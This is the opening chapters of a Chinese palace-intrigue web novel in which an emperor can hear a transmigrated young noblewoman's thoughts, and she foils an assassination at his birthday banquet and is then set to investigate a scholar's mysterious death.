《郡主不可以登基吗?》 第一章 论刺杀皇帝成功的概率有多大? 楔子:九阙总觉得奇怪,为什么有人会觉得污蔑陷害了她之后,她得费劲吧啦的证明自己的清白。还用什么奇奇怪怪的孝道之类的东西妄图让自己屈服。 拜托你睁大眼睛好好看看行吗?我身后,数十万雄兵骁将,分分钟能踏平一城一地,懂?我抬抬手指就能翻天覆地的那种,懂?至高无上的皇权唾手可得之际,你跟我讲仁义道德?你没事儿吧你,这种情况下你让我至纯至善? 闲着没事儿多做做梦吧,梦里什么都有。 正文。 “贺陛下寿!愿陛下仙福永享,万寿无疆——” 随大溜三拜九叩之后,应九阙感受着自己酸痛的脖颈腿脚,心中的烦躁已经到达了顶峰。 给老皇帝贺个寿辰她已经跪了快半个小时了!天知道以前她连自己的爹妈也没跪过!当然了,那对重男轻女的男女也不值得她跪拜。这会儿结结实实的跪拜下来,应九阙已经觉得自己崇高的社会主义价值观摇摇欲坠。 因此在落座之后,应九阙的脸色就有点儿不太好看,身边的庶妹林姝然这会儿嫣然一笑,纤细的手指微动,带起一阵香风的同时端了一杯茶到应九阙手边,尽显温柔贤惠。 “姐姐,你没事儿吧?” 应九阙黑黝黝的眼珠子安静的盯着这位以温婉贤惠著称的庶妹,想看看她这回想耍什么花招。 林姝然只觉得自己被应九阙那双黑漆漆的眼珠子盯得一阵心惊肉跳,但惧怕的同时,她看了一眼男子那边坐的席位,一咬牙,手腕微微一晃,那盏温热的茶水就这么淋淋漓漓倒在了应九阙身上,从袖口到小臂,湿了个彻底。 周围顿时响起一阵惊呼伴窃窃私语声,各式各样的眼神汇聚于此,其中不怀好意的倒是占据了大多数。反正和自己无关,陛下五十整寿寿宴之上出这等岔子,可有的看了。 动了动手指,见林姝然一副受惊小鹿般的模样贴在她看似惊慌失措的亲娘林徐氏身边,应九阙扯了扯嘴角。这样的情况已经不是第一次发生,耍心眼子难道是什么很好玩的事儿?真的很烦! 【好烦……听说刺杀皇帝是诛九族的大罪?我现在距离皇帝直线五百步远,一个弹射起步冲上去刺杀,不被沿途的侍卫捅成刺猬并且顺利说出自己祖宗十八代的概率有多少?】 端坐在龙椅之上的景泰帝悚然一惊!立刻不动声色朝着四周看去,谁?谁在说话?!竟然有人想刺杀自己?! 【或许不需要冲上去,只要现在跳出来大喊一声‘我要刺杀皇帝’‘狗皇帝纳命来’也可以?啊,不行,小丫头扯着我的衣袖,力气还挺大……】 丫头? 景泰帝立刻看向女客那边,仗着居高临下的位置,在一群规规矩矩的夫人小姐里,支棱个手臂的应九阙实在显眼,景泰帝可是戎马天下数十年的铁血帝王,几乎是瞬间就锁定了她,只是还不等他大发雷霆,就意识到了一个事实。不是,那小女娃离自己五百步远,声音怎么可能就像在自己耳边说话一样清晰? 而且,只要对方不是失心疯,绝对不敢当着这么多文武大臣的面说这种诛九族的话。 当皇帝的人,本来就多疑,更何况景泰帝如今年纪不小,膝下的几个皇子都大了,就更不得不怀疑自己屁股底下这张椅子是不是坐的还像从前那么稳当。所以他的第一反应,就是有人搞鬼! 可他再次隐晦的环顾四周,不管太监宫女还是侍卫,都一如既往的恭敬卑微,一点儿异样的神色也无。 可那丫头说话的时候嘴唇没有动,难道是腹语?景泰帝的眼神渐渐暗沉,动了杀意。装神弄鬼者,该杀! 【我去!张嫔要把堕胎药灌到小宫女嘴里了!没想到啊没想到,老皇帝还真是老当益壮,都五十了吧,还能生啊?】 景泰帝一僵!要说他这辈子有什么遗憾的,那就是子嗣太过稀少,也不知是不是杀伐太过,年轻时子嗣就稀少,自从十年前开始,宫中更是连颗蛋都不曾下过!这是哪个宫女有孕?! 不对!不管是真是假,他得先去救自己儿子! 招来九福,不知两人说了什么,景泰帝陡然起身,急匆匆的朝着后宫飞奔而去。 虽说大伙儿看起来热热闹闹的在宴饮,但实际上都注视着陛下,此刻见陛下怒气冲冲离开,底下顿时响起一阵嗡嗡声,都好奇发生了什么。寿宴上愤然离去,定是后宫中出了事! 此刻后宫之中,寂静如同死地。景泰帝坐在椅子上,身上气势威重,渊深似海,压的下方的张嫔瑟瑟发抖,喘不过气来。 景泰帝庆幸来得及时,先行一步的侍卫们及时控制住了局面,这会儿太医正分析那碗堕胎药。 “……此药中加了分量十足的麝香冰片,且都是上上等,药力强劲,若是身怀有孕的女子不小心饮下,胎儿必定不保……” 后面的话景泰帝已经不用听了,他冷冷的看着抖如筛糠的张嫔,几乎是在看一个死人。 “张氏,阴损毒辣,毒害皇嗣,罪无可赦!剥夺一切尊位,打入冷宫!其父母族人,尽数下狱,此事彻查!” “陛下——” 张嫔的嘴巴很快被人堵住,拖了下去。 而景泰帝琢磨了一下今天发生的事儿,张嫔完全是开宴之前发现那宫女身有异样,害人的心思也是临时起的,刚刚那女娃子的手还伸不进后宫来,所以,是蓄意为之,还是真有神异之处?不管怎么说,自己的孩子是保住了,单论这点儿来说,也算是件好事儿。只是世事难料啊…… 再回到宴会上时,景泰帝已经处理好了自己的情绪,一点儿都看不出来刚刚大发雷霆的模样,反而笑眯眯的,当场宣布了自己妃嫔有孕的消息。在一片恭贺声中,景泰帝果不其然又听到了那个懒洋洋的声音。 【还真有了?!老皇帝还真是厉害啊。】 景泰帝脸上的笑意有点儿控制不住,嘿嘿嘿,没办法,老子就是这么老当益壮啊! 【嗯……按照剧情,这会儿该有报喜的上来了吧?我去!那些小姐姐们那么猛吗?三千娘子军剿灭上万北蛮军!而且还是在没有后勤支援的情况下?牛!】 娘子军? 大喜过望的景泰帝觉得这个名号有点儿耳熟,好像以前在哪儿听过…… 恰在此时,贴身内监喜色溢于言表的捧着一封喜报匆匆上前,不知怎的,景泰帝觉得自己心跳有些加速。大景苦那些未开化的蛮子已久,只是对方占据着辽阔的草原饲养大批优质军马,骑射上颇为了得,频频犯边掠夺,双方厮杀的历史已有百年之久,委实是世仇了。 也因此,北蛮成了他的一块心病,难道,那不讲规矩的女娃子说的都是真的? 展开喜报一看,景泰帝顿时哈哈大笑,甚至狠狠地一拍桌子,那些杯盘碗盏噼里啪啦掉了一地,原本言笑晏晏的众人顿时都不敢吭声了,现场一片寂静。唯有几位朝中重臣若有所思的盯着君上。 “哈哈哈哈——好!真是太好了!北境娘子军夜袭北蛮军营,杀死俘获北蛮上万人!烧光敌军粮草!实乃大功一件啊!” 第二章 娘子军,封县主 底下众人顿时有种松了口气的感觉,紧接着就是一片喜气洋洋。朝廷和北蛮打仗已经不是一天两天了,说实话大家都已经习惯时不时地来份战败军报了。这猛不丁来个战胜的,还真是教大伙儿喜不自胜啊。 只是有个别人的眼神就控制不住的朝某位大人身上倾斜,女客们则是小心翼翼的看着方才还心下嘲笑的应九阙。 虽说这十三年来娘子军的赫赫威名几乎已经消失,但只要上些年岁的都知道,这娘子军的统领,不正是当初那位出身前朝将门,威名可止小儿啼哭的女将军应重鸣吗? 换句话说,就是应九阙的亲娘! 感受着周围人异样的变化,应九阙恹恹的甩着自己的袖子,眼神在热气腾腾的茶壶和林姝然身上徘徊。要不,干脆直接一把掀了桌子? 她不开心,干脆大家也都别开心了。 反正人总有一死,早死晚死,都是死,就她这破烂身子,谁知道什么时候就会嘎嘣一下死了?还不如先让自己爽了! 而此刻,文臣武将那边也有一人此刻手指微颤,眼神微微一闪,已然又是一派气度斐然的文臣典范模样。周围那些同僚们羡慕鄙夷等眼神似乎不会在他心上留下任何痕迹。 也是在此刻,景泰帝终于想起来这一茬,眼神就这么堂而皇之的放在了礼部侍郎林炜身上。 “林爱卿,朕记得,这北境娘子军还是你发妻巾帼将军建立的,当初在抵御北蛮的时候也立了大功?” 礼部侍郎毕恭毕敬的上前,清俊的容貌并没有因为年纪的增长就让他丧失魅力,反而给他增添了一点儿难以言喻的魅力。他此刻眼中带着一丝哀伤,叫人忍不住对他多了一些浅浅的同情。 “回禀陛下,那娘子军确实是内子生前所建,只是没想到内子离世十三年,她们竟还能立此奇功,也是出乎微臣预料。但值此盛世,想来内子泉下有知,定会安息的。” 提起那位颇有传奇色彩的女将军,景泰帝也是唏嘘不已,当初那位闻名天下的女将军在父兄尽数战死的危难之际挺身而出,以女子之身力战北蛮,几乎是力挽狂澜般将一边倒的战局拉回。 也是多亏了有她拦在北境,景泰帝才趁此时机推翻前朝。虽然双方处于敌对状态,但景泰帝对她也颇为推崇。只是没想到,这眨眼之间,十三年就这么过去了,而他们终其一生,竟然也没怎么见过…… 景泰帝的大内监九福这会儿小心觑着陛下神色,也禁不住缅怀一二。 “当初那位巾帼女将的名头,即使奴才身处深宫之中,也有所耳闻。只可惜应将军为阻拦北蛮战死沙场,实在悲壮……” “是啊……” 女子本不必上阵杀敌,可应重鸣本可以在后方安享荣华,却还是义无反顾的上阵杀敌甚至马革裹尸,实在是女子中的典范。说起来,当年类似应重鸣这样伟岸的女子也不少,如今倒是越来越少了,也不知是何缘故? “此次娘子军全军上下都有赏,应重鸣将军也应如此!” 紧接着景泰帝大刀阔斧给应重鸣加了谥号,许是回忆起了当年之事,景泰帝这会儿有点儿心潮澎湃,加封了应重鸣还不够,有点儿意犹未尽的意思,接下来本应该加封林炜,毕竟夫妻乃是一体嘛,但文臣加封不比武将,自有一套规矩。就在景泰帝犹豫之际,九福适时的为陛下分忧。 “听闻应将军有位独生女儿,好像叫,叫个……” 时间太过久远,九福一时间说不太上来对方叫什么名字。但这可给景泰帝提了醒。 当即询问林炜那个女儿的事儿。 林炜立即欣喜的看向女客席位那边。 于是还在纠结要不要来一把刺杀闻名天下的应九阙就被‘拽’了出去。 当看见应九阙的一刹那,景泰帝嘴角抽动一瞬,然后尽量和颜悦色的安抚貌似惊惶不安的女娃娃。 “你就是应重鸣将军的独女?” “臣女应九阙,见过陛下。” 嘶—— 周围顿时响起一阵隐晦的抽气声,越来越多汇聚到林炜身上的视线几乎要将对方缠死。 大家彼此交换一个眼神,未尽的意味就这么顺畅的交换了出去。 不是,这林侍郎的闺女这么不跟着自己父亲姓?难道林侍郎当初曾入赘应家的传言是真的? 周围人的视线对林侍郎没有任何影响,他只是欣喜的看着身边的女儿,那叫一个慈爱。应九阙抿了抿唇,对上这位父亲的视线,也应景的露出了个忐忑的笑容来,看起来格外的无措,惊喜。 只有高高在上的景泰帝抽了抽嘴角。 【这老东西装的挺像啊。这表现,谁能看出来我是三天前才被从庄子上接回来的?不愧是当官儿的,演起戏来一套一套。】 景泰帝轻咳一声,不知怎的,林侍郎觉得自己好像背后一凉。然而紧接着陛下的封赐就让他禁不住喜悦。 “……封应九阙为瑞安县主,享食邑千户。” 陛下直呼应九阙其名,这是承认此女继承应将军一支了? “臣叩谢圣恩!” “……臣女叩谢圣恩。” 怎么感觉这个便宜爹比自己还要高兴呢? “九阙啊,没想到你娘去世那么久,恩泽还能落在你身上,你可不要让你娘的名声蒙羞,当愈发勤俭才是。” 在周围人的恭贺声中,林侍郎一把抓住应九阙的手,这才注意到她手臂都湿了,那叫一个痛心,忙不迭的问了好几声,却没有注意到应九阙的脸色已经越来越古怪。 景泰帝从刚开始的注意力就隐隐约约落在应九阙身上,这会儿总觉得对方好像在想什么奇怪的东西。虽说刚刚才册封对方,可景泰帝对应九阙的怀疑与杀机却一直不曾落下。他可以确定其他人都听不见应九阙的心声,虽然新奇,可太过超出寻常的异端,本就不该存活于世…… 果然,下一刻,他就听到了那女娃的声音。 【呕!这老东西有手汗!脏死了!】 景泰帝:“……” 第三章 偷情偷到皇宫来了 这会儿景泰帝溜溜达达的从高台上下来,十分随和的跟林侍郎说话,同时一双眼睛不停的往林侍郎被衣袖遮住的手上看去。这林侍郎向来是一副光风霁月的儒雅模样,从年轻时就有许多女郎为他要死要活的,没想到竟然有这种难言之隐? 嘿嘿,嘿嘿嘿…… 林侍郎这会儿后背有些发冷,但为官这么多年,早已经习惯景泰帝不着调的样子,因此十分坦然,倒是让没看着热闹的景泰帝十分遗憾。遗憾着遗憾着眼睛就往应九阙身上去了。 刚刚离得远也没看清,这会儿仔细一打量,发现这女娃娃柳眉杏眼,身形高挑,竟是个美人胚子。就是看起来病弱了些…… 嗯,景泰帝年纪大了,就爱给年轻人牵牵红线,这会儿老毛病又犯了。 “这孩子如今几岁了,可有许了人家呀?” 林侍郎笑容不变,说起这事儿来还有些发愁。 “这孩子啊,从小身子骨就弱,隔三差五病个几次,这婚事就耽搁了。如今已然十八岁,倒是还没找到合适的人家……” “这不防事,正当妙龄的小姑娘,朕有一……” 应九阙在一边应景的露出个羞涩笑脸。 【下句话不会要给我介绍对象了吧?盲婚哑嫁要不得啊!听说这年代的公子哥们喜欢红袖添香那一套啊,不会我还没嫁进去就有孩子了吧?嗯……鹤顶红?不太好搞。砒霜?这个简单,就是太容易被医者看出来。要不弄点儿天花病毒?这个不行,传染性太强,可能会连累无辜,我的三观不允许啊……】 景泰帝打了个哆嗦,坚强的看向应九阙,天,天花啊,是那个一旦传播开来死人特多十室九空的那个天花吗?鹤顶红就算了,只死一个,天花可是死很多人的啊! 看着表面貌似十分温柔的应九阙,景泰帝咽了口唾沫,这女娃娃到底知不知道自己在想什么?他知道应九阙有些神异,虽不知道对方能不能做到,但他还是积点儿德,不祸害人家少年了。 “……正当妙龄的姑娘,不用急,不用急,且还能留几年呢。” 咦? 应九阙一乐,【老皇帝人还挺好的嘛。女人十八一枝花,正风华正茂的时候,结什么婚啊,又不是好日子过到头了。】 【说起来,我怎么不知道自己有这么多亲戚?在庄子里十三年无人知,这一封成县主,亲戚们都出来了。这就是穷在闹市无人……啊!】 应九阙猛然发出一声尖叫,眼神跃跃欲试,吓得景泰帝浑身一抖,又怎么了? 【什么?!什么轰动朝野无与伦比的炸裂消息?当今探花强迫状元脱衣!!没能得手竟恼羞成怒挥刀相向?这是什么喜,惨绝人寰的大事儿啊,怎么强迫的?到哪一步了?衣服呢?腰带呢?现场呢?!怎么就不能亲眼看一看……】 景泰帝险些咬到自己的舌头! 什,什么叫当朝探花强迫状元?!今年的状元都四十了!探花郎还不到二十吧?就算这等断袖之癖的事儿可以摆在明面上,也不能太明目张胆吧?世风日下,人心不古啊!这都偷情偷到皇宫来了! 还有,怎么还能拿刀呢?那些金羽卫是干什么吃的!搜个身都不会吗?万一真闹出来个好歹,血染大殿,他这场寿宴可就天下闻名了! 立即招来九福耳语一番,九福脸色一变,立马下去了,只是可惜,他去的晚了些,还没到地方呢,就听见一声惨叫,紧接着就是一阵凌乱的脚步声,吸引了在场大部分人的注意。 这还悄悄个甚!还能比这更惹人注目的吗? 就连景泰帝,都变了脸色。 本来还想悄摸摸的将此事按下去,可是这下,只能公开来了。 景泰帝率先朝着声响传来的方向赶去,身后众臣子担忧的担忧,好奇的好奇,也都跟着去了,结果就看见了血里呼啦的凶杀现场。今朝探花郎是个十分清俊的少年郎,这会儿满脸是血,被几个内监死死压着,也不挣扎,只是死死地盯着进气多出气少的状元。 应九阙特别好奇,所以也跟着过来了,从人缝里看了一眼,那状元虽然保养得好,勉勉强强算是个美中年,但留着一副胡须,都快四十岁的人了,再看看探花,一张小脸嫩的可以掐出水来,这怎么看怎么不匹配啊,难道是这探花恋老?嘶,这毛病可不太好啊…… 不止应九阙好奇,景泰帝也好奇啊,他仔仔细细的看了好几眼,怎么都想不出来这是为什么,只能先不吭声了。 “陛下,状元胸口中刀,只差一分就刺伤心窍,虽失血较多,但,暂时无性命之忧。” 这会儿状元也慢慢醒转,只是脸色难看的很。 探花手里的匕首还在地上躺着呢,怪不得金羽卫没有查出来,探花不知道在哪儿找的能工巧匠,硬生生的将匕首做成了个发簪模样,露出来的刀刃部分,只有半个手掌那么长。或许正因如此,状元才保住了一条命。 现场如此简单明了,景泰帝就要命人将探花抓下去,谁曾想到,状元郎脸色阴晴变幻片刻,突然出声。 “陛下,辛探花不是故意伤臣,只是推搡之间不小心刺伤微臣而已。” 辛探花冷笑一声,喊出的话简直要跌破众人眼镜。 “呸!我要你假好心!你这个负心汉!我诚心诚意寻你,好声好气说话,你竟要一拍两散互不相识?!当我是个死人不成?!还想给点儿银子打发我?呸!天下哪儿来这么好的事儿!美不死你!” 嘶—— 人都是爱看热闹的,要不然现场这大部分官员也不会巴巴的跟了过来,这会儿听见这等劲爆的消息,眼睛刷刷刷的亮了,明里暗里盯着辛探花,想听个一手消息。 所以什么什么,到底是什么惨绝人寰的事实真相,才会让探花郎怒而杀之?!虽然没能杀得了人吧,但这也算是上达天听了呀! 众目睽睽之下,状元郎把个还算清俊的脸蛋憋成了青紫色! 第四章 救驾之功 “咳咳咳!” 见势不对,老皇帝几乎要把自己的肺给咳出来,状元狼狈的左右看看,干脆脑袋一歪,晕了! 唉!应九阙几乎可以听到大家遗憾的叹气声,可以理解可以理解,关键时刻竟然装晕,实在不是君子所为啊! 不过人家都已经晕了,继续纠缠下去也不太好,老皇帝略微遗憾的让人把状元带去偏殿养伤。因为想看热闹的人太多,这会儿现场乱糟糟的,应九阙也不知怎的,被人群挟裹着,一点点挪到了老皇帝身边。老皇帝抽空看了应九阙一眼,倒是没有介意,这女娃娃看着就不太康健,弱不禁风的,怎么没有一点儿她娘的刚强呢?叫人略微有点儿失望啊。 应九阙没有注意到老皇帝的眼神,她被挤得晃来晃去,一不留神被脚下凸起的青砖绊了一下,踉跄好几步才站稳。顿了顿,直接弯腰将绊了自己一下的青砖扣出来,准备给它来个碎尸万段。就在这个时候,她眼角白光一闪,下意识的闭了闭眼,抬头就看到一把寒光闪闪的匕首以迅雷不及掩耳之势捅了过来,目标直指左前方的老皇帝! “锵!” 一道金石相击之声响起,不知从何处钻出来的侍卫暂时阻挡成功,但那突然冒出来的刺客武力值相当高,只是被暂时拦了一下,那侍卫就已经被刺倒在地,鲜血伴随着刺耳的尖叫声蔓延开来。 许多人都想过在危急关头救驾来给自己搏一个前途,但当危险当真到来的时候,很少有人能及时反应过来,就算反应过来,在面对生死危机的时候,绝大多数人都克制不住心中的恐惧。 就连身经百战的老皇帝此刻也瞳孔一缩,但他好歹征战多年,该有的身手还是有的,利索的避开第二次攻击,然而此刻他身边围着的人太多了,那些宫女太监官员啥的,四处尖叫逃跑,个别忠心的臣子根本就过不去,紧接着致命的一击就出现了。 眼睁睁看着那雪亮的刀光朝着自己涌来,老皇帝避无可避,瞪大了眼睛。 而亲眼看着老皇帝躲到自己这边的应九阙:“……” 顺手抄起刚扣出来的青砖就抡了上去。 “咚!” 因为距离实在太近,老皇帝很清楚的听见一声闷响,然后近距离的观看了那目露凶光身穿太监服饰的刺客脑袋是如何变瘪,然后砰的一下炸开的! 腥热的血迹和混杂着的白色物体喷了出去,老皇帝也难免沾染上,但他不同于尖叫声更大的太监宫女们,趁势上前,抓住刺客的手,就将那柄匕首刺入了刺客的脖颈。本就受了重创的刺客动作猛然一顿,鲜血像喷泉一样涌了出来,整个人轰然倒地! 直到此刻,大家才反应过来,刺客被制住了。 人群渐渐安静下来,也意识到自己刚刚错失了一个多么重要的机会,那可是救驾啊!能载入家谱的壮举!他们刚刚怎么就没能赶上呢?!是的,某些人是不会觉得自己刚刚贪生怕死,只会觉得是别人挡了自己的路。尤其是,那个救了陛下的人还是个弱不禁风的…… 看了眼刺客脑门上那依旧汩汩淌血的窟窿,默默地将这个词咽了下去。那小姑娘怎么回事?看起来杨柳细腰的,竟然这么大力气,脑袋都给人家砸扁了! “……” 劫后余生的老皇帝平复了会儿心态,随即面无表情的一挥衣袖。即便以应九阙的心态,这会儿都能感觉到空气猛然一冷,一股叫人瑟瑟发抖浑身发冷的气势猛然炸起! 应九阙眨了眨眼,静静的感受着后脖颈处那炸毛的感觉,低垂着的眼里闪过一丝兴味。 【这才是真正的帝王之怒!不过老皇帝生气也是应该,毕竟他的皇宫都成筛子了!刺客都能堂而皇之的在寿宴上出现,下回是不是要下毒了?老皇帝可不能死,虽然粗鲁了点儿,可也算是勤政爱民,总比前朝末帝好的多!】 老皇帝:“……” 一时间不知道该喜还是该怒,但他还是努力维持住了自己的威严,几道命令下去,飞快的将现场梳理好,不多时,大理寺卿刑部尚书等大官们就已经勘察完现场,默默地给老皇帝报告了一番。 应九阙就在离皇帝不远的地方,也没人会在这个时候不长眼的让这位救驾功臣离开,倒是林侍郎那边,羡慕嫉妒恨的眼神又收获了不知多少。说来也真是奇怪,现场那么多人,怎么偏偏就姓林的那么幸运,不仅自己不用冒险,还收获了一份救驾之功? 那个小姑娘当然会得到陛下的奖赏,但毕竟是个小丫头片子,撑死了再给她加封一次,实际上的好处还不是都归了林家? 这边,老皇帝听着臣子们的禀报,深沉似海。这么大个人凭空出现,怎么可能毫无痕迹?别的不说,他顶替的这个小太监呢?人在哪儿? “给朕搜查各个宫室!” 就不信了,找不到一点儿蛛丝马迹?! 酝酿了片刻,老皇帝将应九阙叫过去,一言一行尽显慈和。 “九阙啊,你可是救了朕一命,有什么想要的想做的尽管提!朕一定满足!” 应九阙眼睛闪着微弱的光,还没等她开口,一边的林侍郎已经走了上来,十分谦和。 “陛下,这是小女应尽之责,怎能大加封赏?更何况刚刚已经封赏小女为县主,已然是莫大的恩赐了!天地君亲师,陛下乃是共主,臣等理应鞠躬尽瘁,死而后已!臣相信,小女也是这样想的。” 老皇帝默默地看向看似乖巧的应九阙,不知怎的,他总觉得这女娃娃应该不会这么想…… 【嘿这老东西,长得挺丑想的倒美!你怎么不冲上来鞠躬尽瘁,死而后已一番?说大话谁不会啊。还有,如果我说刚刚只是顺手会有人信吗?】 老皇帝:“……” 总觉得自己今天沉默的时间格外长啊! 就在应九阙跃跃欲试的准备说话之际,一个小太监着急忙慌的冲了过来,那眼神表情简直像是看到了自家死了几百年的老祖宗诈尸! “陛下!状元,状元他死了!” 第五章 到底怎么死的 所有人都能清楚的看到老皇帝脸上几乎要冒出来的黑气! 就不能好好让老子过一个安安生生的寿宴!全天下的人都来给老子作对是吧?他就不信了,刀尖上舔血那么多年都过来了,事情再坏还能坏到哪儿去! 老皇帝冷冷的扫视了一圈儿,周围尽是一些看上去忠厚担忧的忠君脸,可是这些人,心里想的和表现出来的当真一样吗?或许这天下,只有一个人,朕能知道她在想什么,而她却不知道自己的心声能被朕听见。 想到这里,老皇帝的表情略微舒缓了些,然后直接带上应九阙往偏殿走去。当然,刑部大理寺那些人也都跟上了。这种时候,就算是最古板的老人都没有试图劝阻陛下,毕竟这一连串的事故发生在陛下的寿宴上,换了谁都受不了,这可是理应戒备最森严的皇宫! 等到了偏殿,浓郁的血腥气让应九阙忍不住皱了皱眉,当看见状元郎浑身污血的死相时,心中忍不住呕吼一声。 【谁这么恨这位状元啊?死的真惨。】 可不是惨吗?状元正整片前襟都被血湿透了,脸色泛着一股淡淡的紫意,明明人已经死了,眼睛却还是大睁着,表情扭曲,就好像看见了什么恐惧的东西,渲染的大家伙儿都忍不住倒抽了口凉气!这是死不瞑目啊! 老皇帝默默运了会儿气,语气冰冷。 “李太医,状元是怎么死的。” 刚刚你可是说他没有性命之忧,这会儿人嘎嘣死了,你得给我说出个一二三来。 李太医那叫一个汗流浃背,快速查看了一番状元的身体情况。 “陛下,微臣刚刚为状元处理伤口,那外伤确实不足以致命啊!至于死因,脸色发青泛紫,或许是一时心跳过快,猝死的……” “或许?” 景泰帝重复了一遍这两个字,那叫一个不怒而威。 “你就是这样给人诊治的?” “陛,陛下,微臣当真不知状元的死因,或许,不!他一定是死于惊吓过度,心跳过快!” 应九阙都不忍心看老皇帝的表情,这李太医也真是病急乱投医了,都不知道好好看看眼前的境况,你要是老老实实的说自己不知道,或许还有一分脸面。 果不其然,下一刻,景泰帝勃然大怒! “朕要的是一个确确实实的结果!” 李太医顿时趴伏在地,连连求饶,景泰帝根本不想看见他,转头看向那些大臣。当皇帝的,本来就多疑,更何况今天他这皇宫简直是被捅成了筛子。就连平常看着还不错的李太医,现在看着也是个酒囊饭袋!这些个老成持重的臣子们,他一时半会儿还真是不敢相信。 就在此刻,景泰帝眼珠子一转,看向了百无聊赖站在一边抠手指头的应九阙,眼睛顿时一亮! 他现在需要的不是多么聪明的臣子,而是忠心的,重要的是得知道对方在想些什么。这应九阙,就很合适嘛。身份也配得上,刚封的郡主,又有救命之恩,给朕做点儿事儿不过分吧? 想到这里,景泰帝看着应九阙的眼神就慈和的无以复加。 “九阙,你今日救了朕的命,朕还不知道该如何奖赏你,不如你说说自己想要什么?荣华富贵?珠宝首饰?还是给你爹升升官儿?” 应九阙表面平静,心底却像是吃了屎一样。 【就那个十几年都没见过的爹,凭什么把我的功劳都给他?我还不如给自己换点儿好东西。但是荣华富贵珠宝首饰刚刚老皇帝已经给我了……啊,好无聊啊……】 老皇帝嘴角不易察觉的勾起,眼神掠过暗含期待的林侍郎,故作为难。 “看来你都不想要啊……不如……” 周围的臣子们顿时升起一股不太好的预感。之前陛下一旦开始这样的语气,就说明要搞幺蛾子了。这会儿不会是…… “既然如此,那就帮朕个忙,查一查余状元为什么会猝死吧。” “呃……” 没想到应九阙还没开口,那些大臣们就受不了了。一个四十多岁的小官儿一下子跳出来,喋喋不休的阻挠。 “陛下!应县主不过是个女子,虽然有救驾之恩,但只需给予位分上的增长即可,怎能将前朝臣子之事交给她?这不符合规矩啊!” “正是如此啊陛下!且应县主年纪尚小,自幼长于闺阁之中,根本没有接触过此等血腥之事。就算是为了县主的闺名计,也不能这么做啊……” “是啊陛下!” “臣附议!” “……” 杂乱无章的声音扰的应九阙头疼。其实她原本也没那么想做这种苦差事,但这么多人反对,她的反骨劲儿可就上来了。 【谁说我不行的?我很行的好吗?!】 哪怕这会儿那个便宜爹正拼命给自己使眼色,应九阙也全当没有看见,面带难色的点了点头。 见周围那叫一个群情激愤,景泰帝故作为难的叹了口气,扫过四周跟挖了他们祖坟似鸡飞狗跳的臣子们,给出了一个解决法子。 “也是,九阙年纪尚小,一个人查案不太现实,也罢。朕给她安排几个人,务必要尽快将此事查个水落石出!” 虽然不知道这姑娘是什么回事,但应九阙确确实实预示了他后宫女人有孕的消息,或许有部分未卜先知的能力? 无论如何,这种能力都不能浪费。且看她能不能在此次查案过程中显露出来吧。 这时有机灵的小官儿凑了上来。 “陛下,就算应县主主理此事,也得有个期限吧?总不能就让余状元这么孤苦伶仃的等下去?” 这句话才是最大的杀招,主管刑事的官员都知道,查案子可不是简单的小事儿,那得多方面都顾虑到,甚至很有可能追踪了很长时间,最后却发现方向是错的,功亏一篑。而一个从未接触过这些的闺阁女子,怎么可能在极短的时间里破案?或许,那余状元就是自己猝死的呢? 而直到此刻,那些一直沉默不语的大佬们才露出一个小小的微笑。朝堂人才济济,陛下却偏要用一个小小的女子,岂不是将他们这些臣子都当成无用之人? 第六章 谢明尘 景泰帝沉吟了会儿,然后拍板决定。 “那就十天吧!十天之内,九阙,将这件事解决掉。” 应九阙乖乖的点了点头,至于林侍郎暗含劝阻的眼神,她当然是没有接收到啊。让别人高兴怎么比得上自己爽? 那些臣子们虽然不赞同陛下这个决定,可陛下已经退了一步,如果他们这些人继续劝阻,难免有威逼君主之嫌,于是大家彼此交换了个眼神,就心领神会了。 景泰帝又不是傻子,怎么可能看不出来臣子们眉眼之间那点儿算计?他只是默不作声罢了,这人选,还是得自己挑啊。 于是这场本应该和和气气美满团圆的寿宴就这么落下了帷幕,林侍郎还想带着应九阙回府,却被拒绝了。 “父亲,女儿已经被封为县主,按照规制,有自己的县主府,虽然小了点儿,不过只有我自己一个人住,且离皇宫较近,方便向陛下汇报案情,今日就先不回去了。” 林侍郎看着恭谨谦和的女儿,眼中闪过一丝微茫,随即低声相劝。 “九阙,你一直在庄子上长大,干干净净的一个人,怎么能沾染上这些污糟之事?这血腥味儿如此浓重,你也不害怕?虽说这是陛下的命令,你得恭谨顺从,但如果当真做不来也不必害怕,父亲会为你求情的。毕竟你只是个女子,做不来这等事也属正常。” 应九阙脸上露出一个感激的表情,这个父亲虽然没见过几次面,但从表面上看,这些话对一个土生土长的古代女子来说,已经是莫大的支持。不过,她最不喜欢听的就是一个女子怎么怎么,难道她是个女人,就代表她是个废物?这也太武断了些吧? 当然了,这些话不能就这么大大咧咧的说出来,因此应九阙只是感激的表示。 “多谢父亲关怀,只是君恩难违,陛下这般看重我,我也得尽心竭力回报陛下才是。” 陛下看重? 林侍郎嘴角微不可见的抽了抽,陛下怎么可能对一个刚见面的孩子看重?还是个女子?但他最终也只是轻声道。 “也罢,那你就试试吧。对了,等这事儿告一段落,还是回家来的好,毕竟你已经不小,也是时候张罗起来了。” 张罗什么?当然是婚事!应九阙还没愚蠢到连这点儿都不懂,但她并没有发火,而是给林侍郎行了个礼,随即就起身离开了。 林侍郎站在原地,看着应九阙越来越远的背影,眼神略显怅惘。 应九阙才没注意到这个便宜老爹的心思,她只是跟着老皇帝派来的内侍重新回到余状元死的偏殿,想要认真看看现场。景泰帝已经将整个偏殿封锁,顺便把所有那个时间段经过出入偏殿的宫女太监侍卫全都拘了关在偏殿前方的空地上,周围布满了威风赫赫手持利刀的金甲卫。 那些宫女太监们虽然惊恐,但很好的控制住了自己,这会儿也不敢大呼小叫,甚至连眼泪都是无声无息的流。 暂时没顾得上他们,应九阙自己在偏殿里转了好一会儿,也没能找到蛛丝马迹。察觉到外面有人影闪过的时候,她下意识抬头,就看见一个穿着白色长袍的人轻手轻脚的走了进来,仔细一看,原来是个极为年轻俊俏的小太医。看来老皇帝还是有分寸的,她对死人还真是一窍不通,要想查案,总得查清楚对方是怎么死的吧,总不能到了最后一看,余状元还真是病死的,那就好笑了。 这会儿见到应九阙,那小太医连忙放下手中的医箱,勉强周正的行了个礼。 “小臣谢明尘,见过应县主。” 应九阙点了点头,随即忍不住一声轻咳。她这具身子本来就不怎么强健,折腾一天了,又跟个血里呼啦的死人待在一起,这会儿有点儿撑不住。 “谢太医,请你先给余状元看一看,他到底是怎么死的。” 说实在话,她有点儿不信刚刚那个吓得屁滚尿流的老太医。要真是有能耐的话,也不至于最后就得出一个‘猝死’的简单结论啊。 